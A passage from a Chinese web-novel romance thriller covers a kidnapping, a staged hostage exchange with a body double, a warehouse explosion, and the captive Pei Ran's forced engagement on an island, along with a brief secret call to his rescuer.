僵持不下之时,裴然突然伸手将他往外一堆,刀刃瞬间转向,刺向他自己。
“住手——”顾辰猛地瞪大了双眼。
“我和你相反,死在你手里,我会非常遗憾。”裴然挟持自己好不客气,刀刃已经刺破他表皮的皮肤也不松手,“要么放我走,要么我自我了结。”
一回生二回熟,何况这是裴然短时间内的第三次挟持,一边谈判一边寻找机会准备逃跑。
顾辰见他来真的,立刻挥手让属下将手上的木|仓放下,自己则是缓缓靠近,尽量低声细语:“我答应你。”
裴然来不及松一口气,顾辰身影一闪,迅速绕到他身后,从腰上掏出一根麻醉剂,扎到他手上。
拿着匕首的手一软,“哐啷”一声,匕首和人便直直地往地面坠落。
顾辰冲上去搂着裴然的腰,眼神冷淡,示意身后的人撤下。
“啧,真是太不乖了。”
说完,他带着裴然坐上了这辆早就准备好的车,穿过浓厚的夜色,直冲向停机坪。
*
“咕咕,在这里!”
得益于裴然的一番折腾,戚贺昀根据其中一个仓库后门的人员异常,成功定位到了具体的仓库地点。
闻言,顾临川看了眼具体位置,挥手立刻带着一波人赶过去。
总指挥地距离三号仓库并不远,他们的人很快便将仓库团团围住,只等一个有利的时机,便可强攻。
谁料,不多时,仓库的大门自动打开,众人面面相觑,内心的疑惑更甚。
“贵客前来,有失远迎。”宋致远笑眯眯地从里面迎上来,见到顾临川还伸出手,“哎哟,这不是我准妹夫么?欢迎欢迎。”
顾临川扯出手帕,隔着手帕和他握了手,随后如同扔垃圾一般将手帕丢弃。
宋致远脸色难看,但仍旧笑着说:“顾总,你要的人我已经准备好了,我要的东西呢?”
“先让我见见他。”顾临川冷着脸。
“行啊,进来吧。”宋致远侧身让了一条路,待顾临川进去后便抬手阻拦,“只能带一个人进去。”
闻言,顾临川便只让谢梁跟着自己。
“老板!”剩下的保镖见被拦在外面,急道。
顾临川脚步没停下:“在外面等我。”
得了命令,他们只好往后一退,不甘地待在门外。
宋致远心情特别好,话也很多:“放心吧,我都是好吃好喝供着的,没让你男人受一点委屈。”
顺着他的指引,顾临川看见了被五花大绑在椅子上的人,头被麻袋蒙住,身上那套白色毛衣也沾上脏污,胸膛剧烈起伏着,显然对遭遇的一切感到很恐慌。
“得了。”宋致远适时地插进两人之间,隔开顾临川的视线,“这人你也看见了,一手交货一手交人,这可是很公平的。”
“他身上的伤,怎么回事?”顾临川眯着眼睛,看着“裴然”身上的勒痕,抬了抬下巴问。
“哎哟,这不是手底下人没个轻重,不小心伤到了么。”宋致远搓搓手,解释道,“已经给他处理过了,算不得什么大问题。”
顾临川抬眼看他,听不出喜怒:“是吗?”
“昂,是啊。”宋致远只觉后背一阵寒意,但看着周围都是自己的人,胆子又大起来。
下一秒,顾临川从谢梁手里拿过一份文件,夹在手指间晃了晃,宋致远眼睛发亮,不自觉伸手去拿,顾临川却往后一退,把手背在身后。
宋致远眼神清醒过来,手悬在空中也不尴尬,笑了:“顾总这是什么意思?”
顾临川不语,只是抬手示意。
谢粱推了推鼻梁上的金丝眼镜,上前一步,镜片闪烁着金光,“抱歉,我们老板比较记仇,所以裴先生受的伤,还请宋总如数奉还。”
话音刚落,哐当一声,谢粱扔下一把匕首,微笑着看着他。
宋致远视线随着这把匕首的移动而向下看,脸上表情变化莫测,难看至极。
他简直没想到,自己已经手握他的命门,眼前的男人竟然还敢这么嚣张。
但尽管如此,他仍旧不敢轻视,对于他的话,内心有一种无法抗拒的顺从。
宋致远扯出一抹难看的笑:“顾总说笑了。”
干笑两声后,宋致远发现眼前两人只是淡漠地望着他,并没有就此揭过的意思。
想到这里,他突然暴起,一脚将地上的匕首踢飞,怒骂:“妈的,你以为你是什么东西,还敢跟我谈条件?”
顾临川不紧不慢地从地上捡起那把匕首,重新放到他眼前,“宋先生倒是忘了,被逼到无路可退的地步,是什么滋味了?”
从前宋妍宜同他争家产,将他所有的资源和生意都抢走,银行贷款还不上,公司连连亏
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损,甚至连□□也盯上他,若不是后来宋妍宜惦念那点亲情,他早就蹲局子了。
这份失控令他恐惧,他必须要将权力牢牢握在掌心,才能安稳地活下去。
此刻,那种恐惧感慢慢爬上脊背,他甚至连基本的礼节都难以维持,整个人陷入一种癫狂的状态,抓起那把匕首就想往顾临川那边刺去。
顾临川要的就是这一刻的破绽,他眼神凌厉,一瞬间抓住他的手腕,但刀刃还是刺进他的胸膛,他像是丝毫感觉不到痛感,下一秒紧紧勒住宋致远的脖颈。
周围所有的守卫纷纷戒备,举起手中的武器靠近。
“进攻!”
命令一出,驻守在仓库外面的守卫接连涌入,和内部的守卫缠斗在一起。
场面一度混乱,顾临川猛地回过头,不顾一切地快步跑到中心的“裴然”身边。
“然然……对不起,我来晚了。”
他看着“裴然”身上的伤痕,眼里满是心疼,两下把他身上的绳子解开后,把手伸向笼罩在他头上的麻布。
小李能感受到越来越近的手掌,整个人紧张到了极点,他根本不知道任务成功没有,但他明白,如果身份暴露,那么他的钱就没有了。
于是他猛地抱住眼前的男人,手臂紧紧搂住他的脖子,浑身不停地颤抖。
顾临川没想到“裴然”会被吓成这样,整个人愤怒到极点,恨不得让所有伤害他的人给他陪葬!
但好在还剩一丝理智,他紧紧把他抱起来,护在怀里,一边躲开敌人的刀刃,一边低声安抚:“然然,别怕,一切有我在。”
闻言,怀中人抖得更甚。
顾临川终于察觉到不对劲,从一开始到现在,怀里的人居然一句话也没有说过。
趁其不备,顾临川一把拉下麻布,漏出来的却是一张面脸通红的陌生的脸!
小李眼前骤然明亮,看着眼前混乱的场面,满地的鲜血,浑身抖如筛糠,不受控制地惊叫起来。
“啊啊啊啊啊啊——对不起对不起,我不是故意骗你的,我不是故意的……”
顾临川瞳孔骤缩,将他放下来,抓着他的手腕质问:“你身上为什么穿着裴然的衣服?他人呢?”
“他他他、他已经被带走了!我只是被他们抓来扮演他的!”小李哭丧着脸。
顾临川心底一沉,抓起腰后的木仓冲向宋致远。
宋致远趴在地上,手指被混乱的守卫不断踩踏,他却丝毫感觉不到疼痛一般,贪婪地笑着:“我终于拿到了!”
脏兮兮、血肉模糊的手指终于够到掉落的文件,他爆发出狂笑。
他被人搀扶起来,从身后掏出一个控制器,癫狂地朝顾临川怒骂:“去死吧!”
他坐上车,一边逃亡,一边按下按钮,喘着粗气往身后看,整个人沉浸在大仇得报的快感中。
身后“轰——”的一声,仓库瞬间被火焰吞噬,铺天盖地的热浪将车子都推得抖了抖。
他畅快地大笑,捧着手中的文件,一页一页仔细地看着,像是得到了最珍贵的宝藏。
许久之后,他脸色惨白,艰难地咽了咽口水。
最终,看清文件中所写的一切后,他崩溃地踢了一脚座椅,发泄一般将手中的文件撕成碎片,眼底是浓厚的恨意。
“啊!!!!!骗子!!!!!”
55.第 55 章
“快!灭火!”
“先救人!所有人往外面走!”
“顾总呢?!”
“不知道啊!里面火势太大了,根本看不清!”
“……”
炸弹爆炸的一瞬间,顾临川脑海里只剩下一个想法,裴然还在等着他去救他。
如果裴然还在仓库里面,他会不会害怕,没有自己在身边,他会不会担忧?
火舌吞噬了周围,他感到呼吸都是烫的,万幸有一块巨大的抗火材料掉落,横在眼前,为他们构造一块安全区的同时,也堵住了他们的逃生路。
情况已然如此危急了,身边还有一个不停发抖致歉的小李。
顾临川咬牙:“别吵了,先出去再说。”
小李绝望地说:“出不去了……我出不去了!我不该做坏事,我不该这样做的!”
顾临川:“……”
当务之急是先找到出去的路,他扯下外套捂住口鼻,丢给他一块衣角的布料,让他跟紧自己。
顾临川强行劈开一条道路,领着小李往外面冲,隔着浓浓火焰,两人都听到了仓库外面救援队的声音,这无疑给了他们莫大的希望。
急匆匆赶到总指挥室的戚贺昀喘了口气,赶紧坐下调取仓库内的示意图,打算给顾临川说明哪里有火灾障碍物,哪里有浓烟,好让他规避。
只是刚打开数据图,他整个人脸色惨白,“妹妹!”
“枚总带着谢队已经赶往现场了,戚总有什么事吗?”人群中不知道是谁回复了一句。
戚贺昀一把冲到指挥台,抓住耳麦疯狂喊道:“咕咕!能听到吗?”
耳麦兹拉兹拉地响了几下,传来顾临川沉闷地回应:“能。”
“听我说,目前你左手边50米有一辆面包车,车身被烧变形了,油箱已经开始裂开漏油,大概只有五分钟的时间,火焰就会蔓延到汽油上……”
五分钟的时间根本不够顾临川从里面出来,先不说这几乎要把人融化的温度,单说横在几人眼前的障碍物就是最大的困难。
戚贺昀没说下去。
顾临川沉默了一瞬,随后嗯了一声,便将耳麦放下,反正也是命悬一线,不如殊死一搏。
顾临川思考片刻,便抓起一旁的小李,往大火深处跑去。
小李不知道他要干什么,吓得手足舞蹈地乱叫:“你干什么啊啊啊啊啊啊,别杀我!”
“想活命就闭嘴。”顾临川冷冷瞥他一眼。
如果他没记错的话,仓库里面还躺着一个巨大的扛火性材料,并且是距离漏油的车辆最远的距离。
一旦发生爆炸,或许能不被炸死。
另一边,戚贺昀又急忙将频道转换到枚烨那边:“妹妹,仓库里很有可能会发生二次爆炸,你千万小心!”
枚烨和谢梁对视一眼,心下一沉:“明白。”
戚贺昀想着生死未卜不知下落的裴然,又想着身处火海的顾临川,忍不住红了眼眶,在内不停地祈祷。
正如戚贺昀所料,五分钟后仓库再次发生爆炸,火光滔天,几乎要将整个场地吞噬。
*
继顾家大少和宋家长女联姻过后,顾家二少在两个月后又有好消息传来。
请帖在南城上流圈层广泛流传,哪怕是和顾氏交际不深的家族也收到了邀请,地点在南半球的一座小岛上。
顾及着顾家二少私生子的身份,以及请帖上那个熟悉的名字,众人纷纷选择了观望,不敢随意出席。
工作室众人自然也人手一份。
最高兴的莫过于Rechal,她在工作室高兴地跳起来,止不住的欢呼。
“难怪老大这几个月都不来工作室,原来是和辰甜蜜去了!”Rechal捧着脸,满面的春色。
剩下的人也跟着附和:“他们能走到一起也不容易。”
“我就知道他们会结婚,辰哥做事一向认真。”
“从校园到婚姻,老大和辰哥也太幸福了吧!”
七嘴八舌之间,只有庭婷脸色难看,手里那份邀请函被捏得皱巴巴,手指都用力到泛白。
Rechal察觉到她情绪不对劲,走到她身边,关切地问:“honey,你怎么啦?昨天夜里没休息好吗?”
“我没事。”庭婷勉强扯出一抹笑,“可能是这几天工作太多了,我过会儿就好了。”
“看你脸白的,我真的好心疼。”Rechal嘟了嘟嘴,“等老大婚宴,我们一起去海岛旅游吧,放松一下心情!”
庭婷心不在焉地应下,偷偷溜回办公室,给裴然打电话。
这几个月来,裴然的电话始终打不通,有几次好不容易打通了,对面却是顾辰那家伙,低声警告她不要再打电话过来,随后就将她拉黑了。
这次她学聪明了,换了好几个电话,又尝试给裴然打电话。
“嘟嘟——”电话响了两声后就接通了。
庭婷心下一喜,赶紧问道:“喂,然哥你怎么样了……”
她的声音骤然被电话那端激烈的争执打断。
“滚开你放开我!你这个疯子!”裴然喘着粗气,双手被拷在床头,像一只受伤的小兽怒视着顾辰,“你以为你算什么东西?也配和顾临川争?”
顾辰抚摸他脸的手一顿,掐上他的脖子,一点一点收紧,面目狰狞:“婚礼马上开始了,他顾临川这辈子最在意的男人,会和我立下誓言,在我身下承/欢,你说我算什么?”
听到电话那头裴然即将窒息的呼喊,庭婷不顾一切地对着电话大喊:“顾辰!你不要做傻事!”
顾辰被这一声喊得回神,眼神清明了不少,手上力度瞬间松开,抿着唇,立马按断了电话,“然哥你怎么总是这么不听话,我原本想这段时间闷着你了,打算让庭姐和你通电话聊天,解解乏,你就非要激怒我吗?”
“呵,有本事你就杀了我。”裴然从窒息中缓过来,勾起一抹讥讽的笑,“别对庭婷歪心思,不然我做鬼也不会放过你。”
“你千万不要放过我,我们要纠缠一辈子。”顾辰怜惜地摸了摸他脖子上的红痕,没忍住吻上伤口,颤抖着嘴唇,“疼不疼?”
裴然只觉一阵嫌恶,不停往后缩:“和你有关系么?”
顾辰被他眼底明晃晃的恨意刺痛一瞬,他松开手,解开了裴然一只手的镣铐,“然哥,刚刚是我太激动了,原谅我吧。”
“做梦!”
裴然活动了一下手腕,抬起手猛地扇了他脸一巴掌,似乎还嫌不够解恨,想对着另外一边再来一次,但这一次被捏紧了手腕。
顾辰勉强地笑:“马上要举行婚礼了,新郎官脸上
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出现红印不好看,结束之后,你想怎么打就怎么打,好不好?”
顾辰又点燃了床头的熏香,令人沉睡的香味在房间蔓延开来,裴然四肢无力,最终抵抗不住睡过去了。
顾辰在床头不知道站了多久,缓缓退了出去。
等到裴然再次醒来之后,窗外又是黑夜,窗户不知道被谁打开,腥咸的海风吹进来,让他混沌的大脑清醒了不少。
他已经数不清自己在这里呆了多久了,自从上次在仓库被迷晕后,他就被带到这里关起来。
一开始他还好声好气地和他商量,想让他明白自己这样做是不对的,但是后来顾辰越来越过分,并且总是不尊重自己的意愿。
裴然便也不顾及从前的情谊了,什么话难听,什么话伤人,就说什么。
这么多天以来,他很少会有清醒的时候,整日整夜给他使用这个熏香,导致他思想都开始变得迟钝。
裴然扶额,这熏香不会把他变成傻子吧。
想到这里,他用另一只没被铐住的手把熏香扔了出去,又狠狠瞧了瞧脑袋,思考起现在的处境。
自从来了这里之后,顾辰就一直在筹备他们二人的婚礼,每天都兴致冲冲。
他在这座岛上一个认识的人也没有,到底要怎样才能逃出去啊……
裴然一夜没睡,隔天早上,门外传来敲门声。
裴然瞬间警惕,问:“谁?”
“先生,早饭准备好了,顾少请您下楼用餐。”管家用钥匙打开门,毕恭毕敬地道。
裴然看着他熟练地开门动作,内心一哽,心道装什么有礼貌,我还没让你进来。
他往杯子里一缩,没好气地说:“不吃。”
管家突然走近了些,脸上满是关切:“先生,您太瘦了,下楼吃点吧。”
裴然眯着眼,被这一出搞得有些混乱,这个管家挺眼熟的,似乎是一直跟在顾辰身边的人,但他此刻这么亲昵的举动是为什么。
就在裴然举棋不定的时候,房门被重重推开,顾辰阴沉着脸站在门口:“Henry,我没有让你进去叫他。”
“抱歉先生。”Henry这样说着,却没有丝毫的歉意,他站起来,“我只是觉得您的未婚夫太瘦弱了,有点担心罢了。”
“不劳你费心,你下去吧。”顾辰淡淡道,“我突然改变主意了,麻烦把早饭盛上来,我不想让他随意走动。”
“是的,先生。”管家关上了门。
顾辰快步走到裴然面前,柔声问:“晚上睡得还好吗?”
裴然敏锐地察觉到不对劲,但不敢表现出来,转过头不回答。
“虽然然哥很不乖,但是我还是打算奖励你一下。”顾辰凑上去抱住他,呼吸洒在他耳畔,“然哥乖乖把早饭吃光,我带你去海边玩,怎么样?”
“又耍什么花招?”裴然忍不住呛他,“你敢和我去海边?不怕我趁着没人把你推海里淹死么?”
“怎么会?”顾辰低低的笑起来,朝他暧昧地眨眨眼,“不过如果你舍得的话,我愿意死在你手上。”
“……早饭呢?”裴然再一次被他的无耻刷新世界观。
虽然不知道为什么今天可以去海边,但是对于一成不变的被关在房间里来说,去海边找找机会,顺便看看这里的构造,不失为一个好办法。
56.第 56 章
裴然这几天有点闹绝食的意味,饿了许久,认认真真地把早饭全都吃下去了。
随后有人来敲门,为他解开了双手的镣铐,并服侍他洗澡更衣。
裴然穿着浅蓝底小雏菊衬衫,松松垮垮地贴在身上,下身是浅色沙滩裤,露出修长的小腿,衣摆半塞进腰间,海风吹过,灌进他的衣服里,显得身形单薄又柔软。
他没穿鞋子,赤脚走在沙滩上,感受到久违的阳光,裴然眯了眯眼,抬手挡住眼睛。
说是来海边玩,放眼望去,周围的保镖乌泱泱一群,竟比海上盘旋的海鸥还多。
裴然一阵无言,慢吞吞地走到沙滩椅上坐下,看着旁边笑嘻嘻望着他的顾辰:“让你的保镖离我远点。”
“他们只是保护你的安全。”顾辰眼神不自觉追随他,眼底是自己都没察觉到的痴迷,“我们好久没这样坐下聊聊了,从前在泰晤士河边,我们也这样,点一杯你喜欢的热可可,一起看日出日落……”
“能安静一点吗?”裴然真诚发问。
顾辰:“……”
说实话,忽略一切客观条件,裴然觉得此刻真的挺舒服的,阳光暖烘烘的,空气也是前所未有的新鲜,耳边时不时传来一声海鸥叫。
过了一会儿,有人来把顾辰叫走了,临走时,他问他要不要去海边冲浪。
裴然冷着一张脸拒绝了,抓过一旁的杂志盖在脸上,“你赶紧走吧。”
顾辰轻笑一声,单膝跪下吻在他的手背:“等我回来。”
等个屁,裴然在心底骂了一句脏话,等顾辰走后便跑到沙滩边上玩水,好不容易得来的休闲时光,不能浪费了。
裴然蹲着捡了几块贝壳,又抓了几只螃蟹,突然抬起头问离得最近的保镖:“有沙滩排球么?”
保镖面无表情:“没有。”
“哦,那冲浪板呢?”裴然又问。
保镖依旧冷硬地回答:“没有。”
“……他刚刚还说有。”裴然眯着眼睛,见他硬邦邦的,也不想和他多说,“算了,不玩就不玩。”
裴然又躺在沙滩椅上晒太阳,过了一会儿,保镖过来说管家为他准备好了沙滩排球。
顾辰不知道在忙什么,去了这么久都还没回来,这几日被关的身体都要发霉了,正好借机会运动一下。
他接过排球,一个人跑到沙滩上颠球玩。
后面还嫌不过瘾,拉了几个保镖一起玩,保镖顾及着他的身份不敢放开,但裴然却毫不留情,一下一下往他们身上砸。
沙滩上阳光正好,一群黑色西装中间穿梭着一个彩色的影子,欢笑声不绝,连一向不苟言笑的保镖都不自觉被染上笑意。
“看什么呢?”
“没什么。”顾辰视线追随着,又忍不住和眼前人炫耀,“我的未婚夫,很有趣吧,被关了这么久还像个小雀一样,叽叽喳喳的,很有活力。”
宋致远被他表情恶心到了,嫌弃地瞥了一眼窗外,却愣住了,这一幕的确让人心生欢喜,没忍住附和了一句:“的确有活力。”
顾辰唇角勾起一抹笑,将窗帘放下来,不让他多看,呷了一口热茶问:“找我什么事?”
“这都过去几个月了,你答应我的股份我可还没收到。”宋致远皱着眉,“更何况顾临川昨天出院了,家里那堆亲戚又开始催我。”
当初在仓库费尽千辛万苦夺来的股权转让说明是假的,他看清楚的那一瞬间,浑身都快气得爆炸。
谁料,冷静下来之后,他把这个事情告诉顾辰,顾辰却只是一笑,说早就料到了这个结果,他们不会轻易把股份交出来的。
宋致远更生气,怒道那这些岂不是都白费了。
顾辰当时怀里搂着昏睡过去的裴然,摸了摸他的脸颊,笑着说,不算白费,他的目的成功了呀。
宋致远气得当场骂街。
顾辰赶紧安抚他,承诺一定会把这份属于他的股份给他夺回来,毕竟两人的合作还没有结束。
宋致远这才作罢。
这几个月由于顾临川身负重伤,家里亲戚都以为顾临川再也醒不过来了,格外地依赖信任他。
与此同时,宋妍宜为了照顾重伤的顾临川,分身乏术,已经放弃了好几个重要的项目。
可是顾临川苏醒的消息刚一传出来,大家就开始躁动不安,旁敲侧击地向他打听关于宋妍宜的消息。
他没忍住踢了一脚面前的茶桌,骂了一句:“一群废物。”
“你急什么?”顾辰慢悠悠地将茶桌扶正,“答应你的事情,我会办到。”
“呵,你倒是不急,天天围着个男人转。”宋致远掏出烟点上,讥讽他,“你真能让他心甘情愿和你结婚?”
最开始顾辰找上他,说和他合作,许诺事成后他获得宋妍宜的半数股份,成功掌权宋氏,而他只要一个男人,还是他哥的男人。
想到这里,宋致远都忍不住多看他几眼。
“这就不劳你费心了,按时参加婚礼吧。”顾辰淡淡道,“没别的事情,就回吧。”
“给我安排一间房子,我就在这里住下了。”宋致远毫不客气地仰躺下,“飞来飞去多浪费时间,马上不是你婚宴了吗。”
顾辰倒也没拒绝,思索了几秒后便安排佣人为他打理出一间房间。
“Henry,为宋先生安排一下三楼的客房。”顾辰习惯性命令,却无人应答。
“Henry?”
“报告先生,Henry他五分钟前往沙滩的方向去了,客房的事情,有我来安排吧。”身后的另一个人说道。
顾辰眉头紧皱,Henry是他身边待得最久的人,但是这几日却格外的奇怪。
他掀开窗帘往外看去,海岛天气多变,方才还晴空万里,此刻却已经乌云密布,隐约有下雨的征兆。
沙滩上,裴然玩累了已经躺在沙滩椅上睡下,身旁出现了Henry的身影,他正低着头,为裴然铺上毛毯,并乖巧地蹲在一旁,静静地看着裴然的睡颜。
顾辰脸色阴沉,眼神死死盯着Henry的动作,下一秒Henry俯身凑到裴然的耳边,从他的角度看,简直像是在亲吻裴然的侧脸。
沙滩上两人殊不知自己的一举一动都已经被发现了,Henry还凑在他耳边轻声呼唤:“先生?”
裴然悠悠转醒,先是被眼前凑近的大脸吓一跳,险些从椅子上滚落,“你干什么?”
“先生,沙滩上风大,小心着凉。”Henry笑眯眯地说。
裴然揉了揉眼睛,赶紧站起来,内心疑云密布,这个Henry什么时候对自己这么殷勤了?
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好在此时,一阵海风吹过,带着冰凉的雨丝,落在身上凉飕飕的,裴然缩了缩脖子,裹着毛毯打算往室内走去。
Henry却突然拉住他的手,俏皮的眨眼,“先生,我听说您下午在玩沙滩排球,怎么不邀请我作为您的队友?”
裴然赶紧挣扎:“我为什么要邀请你?”
“因为我有八块腹肌呀。”Henry笑着说,手上力道大的不容置喙,带到自己的胸口处,引导他按下去,“你不想摸摸吗?”
裴然被他毫无逻辑的语言震惊到了,但奈何力气实在不够,被迫顺着锁骨往下按。
“来嘛来嘛,你会喜欢的。”Henry顶着一张清纯的男孩脸,眨巴着大眼睛,“你按重一点。”
裴然正打算用另一只手推他,下一秒却感觉到了不对劲,经过了厚实的胸肌后,手底下哪里是人类皮肤的触感,分明是冰冷的机械感。
“你……”裴然震惊地说不出话来。
“嘘,被发现了,可就不好了。”Henry伸出食指堵在他唇边。
裴然这才发现,一个很微小的对话仪器藏在他胸口的衣领里,只要按下去,两边的人就可以进行沟通。
由于岛上的技术限制,目前只能实现很短暂的交流。
接收器的另一头,顾临川躺在病床上,面色苍白,医生站在一旁神情严肃地记录着数据。
“顾先生,您现在恢复得非常不好,必须立刻减少办公时间,后遗症不是开玩笑的。”
医生简直无奈至极,从医数十年,还是第一次遇见这么不把自己身体当回事的病人,自从醒来之后,不是在病房议事就是在电脑面前敲键盘。
赚再多的钱,也得有命花啊。
戚贺昀坐在一旁看乐子,从果篮里挑挑拣拣一个橘子扔给枚烨,让他给自己剥。
顾临川把电脑收起来,冲医生一笑:“我知道了。”
医生又过去调了下点滴的速度,“你每次都这样说。”
的确,这样的场面几乎隔几天就会上演一遍,大家已然习惯。
一切弄完后,医生便退出了病房。
顾临川揉了揉眼角,的确没打算再继续使用电脑,而是转身躺下,问:“怎么样了?”
戚贺昀咽下微酸的橘子,皱了眉,把剩下的扔给枚烨,“爆炸案那边处理的差不多了,牵连到的几家公司我也都给了点小小的奖励。”说完,他一副求夸奖地眨眨眼。
枚烨自然地接过橘子:“你弟结婚的那座岛位于公海上,周边海域全是他们的人在巡逻,我们已经调换了不少我们的人进去,暂时控制了几艘巡视船只,传回来的消息说裴然目前安全。”
听到最后几个字的时候,顾临川才终于松了一口气,“下次最重要的情报放在最前面。”
枚烨笑了笑。
戚贺昀又调出海岛周围的数据和立体投影,商量着对策。
他们都收到了来自南半球的订婚宴请柬,顾辰虽挑衅地附上了地址,但安保工作做得很足,他们几次都失败而返。
因此,他们必须找出破绽,进入海岛,将人救出来。
“……”
顾临川视线望向床头的对话接收器,垂了垂眼皮。
戚贺昀和枚烨明显感受到顾临川的心不在焉,却不知道如何安慰。
57.第 57 章
戚贺昀道:“咕咕,别担心……”
突然,一阵电流声打断了三人的交谈,顾临川眼神瞬间凌厉,紧紧盯着床头。
“顾临川……”
带着明显哭腔的呼喊传出,顾临川瞳孔骤缩,猛地从床上站起来,捧起这个小小的接收器,满脸惊愕。
枚烨和戚贺昀脸上同样震惊,面面相觑。
对面又传来裴然的声音。
“他能听到吗?为什么我听不到他的声音?”
Henry鼓捣了几下,又说:“已经连通了,可能是因为海岛信号差。听不清就听不清吧,你赶紧有什么想说什么就说,下次再找机会联络上都不知道是什么时候了。”
裴然哽咽着又喊:“顾临川……你在哪里?顾辰他要逼我和他结婚,还绑架了我妈妈,我该怎么办?我好想你。”
听到裴然无助的声音,顾临川心里简直像被凌迟一般痛苦,咽喉被狠狠捏住,“然然。”
熟悉的声音混着海风一起传进耳朵里,一瞬间,裴然几乎溃不成军,哭到说不出话来。
顾临川着急地问:“然然,你有没有事?他有没有伤害你?”
裴然道:“没有,我好好的,没受到伤害。”
尽管无数情报传来,都显示裴然在海岛上是安全的,但亲口听到他这样说,顾临川还是长舒一口气,稍稍平静了下来。
“听我说然然,我们的人已经控制了疗养院,你不要着急去做傻事,也不要轻举妄动,我向你保证徐姨一定会没事的,我也绝对不会把你让出去,我们很快就会见面了,相信我,好吗?”
“嗯,我相信你,我会保护好自己等你来。太好了,妈妈会没事,真是太好了……”
顾临川听到他这样的哽咽,内心无比难受,“抱歉,把你置身于这么危险的境地这么久……会害怕吗,会怪我吗?”
顾临川尾音有几分颤抖,他几乎不敢想,裴然是怎样的心情经历这一切。
“怪你做什么呢?这又不是你的错。”裴然咬着牙,努力让自己平静下来,“况且我也不怕,顾辰他把我绑来也没虐待我,只是每天不让我出门而已,没关系的。”
“然然,你已经做得非常好了。”顾临川听出他语气里的自责,闭了闭眼,喉结上下滚动,哑声:“等等我,我很快就来接你。”
裴然吸了吸鼻子,破涕为笑:“嗯,我等你。不要这么难过嘛,你笑一笑,我都好久没见过你想起来的样子了。”
“好。”顾临川明知道对方看不见,却仍旧扯出一抹笑,“不说这些了,和我聊聊天吧。”
“好啊……我今天和保镖他们玩了沙滩排球,我赢了,还借机砸了他们的脸,出了一口气。”
顾临川轻笑一声:“真棒,然然从小到大运动方面都很厉害。”
裴然也低着头笑,把玩着桌子上的贝壳,“我还捡了一块心形的贝壳,是浅蓝色的,等我回去,我就把它送给你。”
“好。”
两个人都默契地只讲开心的事情,这个时间太宝贵了,他们都不想传递忧愁。
裴然一口气说了很多话,大多都是一些没营养的闲聊,顾临川认真地听着,每一句都有回复。
“顾临川,我是真的好想你。”雨下的越来越大,裴然低声呢喃。
“然……一定……我……”
对面的声音却变得十分卡顿,传不过来了。
“信号不稳定,今天只能联系到这里了。”Henry抬头看天,叹了口气,“走吧,回去。”
裴然茫然无措地按着自己的胸口,心脏传来一阵闷痛,“没有了吗?”
“对,得赶紧回去了,不然他要起疑心了。”
“哦,好吧。”裴然失落地站起来,将打湿的头发捋到额头上,脚步虚浮地往别墅走去。
顾临川,你什么时候能来救我……我真的好想见到你……
裴然已经分不清脸上的是泪水还是雨水,只记得它糊了自己满脸。
他感觉到自己越来越轻,每一步都像是踩在棉花上,眼前的景象也越来越模糊。
最终伴随着Henry急切地呼喊,他眼前一黑,彻底晕了过去。
*
房间外,两道身影立在门口,一人始终低着头,气氛有些凝固。
“Henry你越界了。”顾辰脸色不悦,终于开口低声警告他,“我希望这是第一次,也会是最后一次。”
Henry低着头:“我只是执行先生的命令。”
“我没有让你对我的未婚夫献殷勤。”顾辰冷冷道,“更没有允许你可以靠他这么近。”
“抱歉先生,我只是担心裴先生的身体状况。”Henry语气真切,“今天若不是我,裴先生恐怕会摔倒在沙滩上。”
顾辰仍旧不满意,但Henry认错态度端正,挑不出毛病,更何况,今天的情况的确需要感谢Henry及时接住了裴然,否则,后果不堪设想。
Henry是他一手培养起来的人,两人平时相处模式也并非传统意义上的主雇关系,只是自从到了这座岛上之后,Henry就变得非常奇怪。
他一向用人不疑,但Henry的疑点实在太多。
“你先退下吧,我进去看看他。”顾辰问,“宋致远在西侧住下了,接下来的行动,一定要避开他。”
Henry点头:“明白。”
说完,Henry转身准备下楼,走到旋转楼梯处,身后的顾辰突然叫住他。
“Henry,做完这一切,跟我去英国吧,留在我身边,我会给你安排好一切。”
Henry身形平稳,自然从容地转过身,轻笑:“当然,你在哪我就在哪。”
听起来实在是忠诚无比的话。
顾辰满意道:“好啊。”
Henry转身下了楼,在他背影消失的一瞬间,顾辰脸上所有的表情全部消失,取而代之的是某种淡漠疏离的神色。
顾辰端了一杯温水,走进裴然的卧室。
裴然手背上还打着点滴,此刻正坐在床上,闻声看向他:“你来干什么?”
“喝点水,嗓子都哑了。”顾辰走上前,先是替他擦了擦额角的汗,又牵起冰冷的手放进被窝,“还难受吗?”
裴然就着他的手喝了大半杯温水,又摇头:“好多了。”
生病后的裴然显然迟钝乖巧不少,不像平时那样尖锐,顾辰心下一软,坐在床边搂住他:“怎么下雨了不回家,把自己淋这么湿?”
裴然道:“忘了。”
“家庭医生说,你身体太差,让你多运动。”顾辰想起自己把人关在这里几个月,几乎连门也不让他出,便有些自责,“等我们结婚以后,我带你去晨跑吧。”
裴然:“不要。”
显然,顾辰会错了意,又问:“不喜欢晨跑
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?那去健身房吧?”
裴然侧头看他,似乎很想掰开他的脑子,看看里面究竟装了些什么。到底还是只叹了口气:“不要结婚,顾辰,我不喜欢你,你逼我没用。”
顾辰脸色难看,放在他肩上的手用力收紧,“结不结婚,不是你说了算的。”
裴然叹气:“你究竟喜欢我什么?我从小就跟在顾临川身后跑,和你交集也不多,纵使后来去了英国,我也只是把你当作需要照顾的弟弟,如果是因为这些照顾让你产生了错觉,我向你道歉,你不要再错下去了,收手吧。”
“然哥,你觉得我都走到现在这一步了,是我想停就能停的吗?”顾辰幽幽地笑,“不过,你说错了,我不是在英国爱上你的。”
“我第一次到顾宅的时候,是我母亲带着我来要钱,她是个娇生惯养的女人,赚的钱还不够她买衣服,我在顾宅吃了人生中的第一顿饱饭,然后屋子里就传来一阵激烈地争吵,不,并没有争吵,是我母亲单方面在宣泄,所有人都觉得她是个疯女人,我也不例外。”
“后来,她走了,拿了父亲给的钱,把我丢在顾宅,父亲把我视作耻辱,但更多的是对自己强势又能干的妻子的一次完美挑衅,他那样的男人,永远也不会甘心居于人下的,得益于这一点,我在顾宅能勉强生存下去。在这种变态又畸形的环境中,我渐渐明白,我只是父亲的一把刀,用来证明他还没有老,还可以与不听话的妻儿为敌的一把刀。”
“所以从小到大,我从不开口索要什么,因为我知道,我想要的都不会得到,但是我哥他不一样,从小到他,他想要什么就有什么,所以我也想看看,他想要而得不到是什么滋味。”
裴然眼神复杂,没想到他在内心深处居然是这样想的,不过也好,参杂着利益的感情往往不堪一击,顾辰应该遇到困难就会放弃他了。
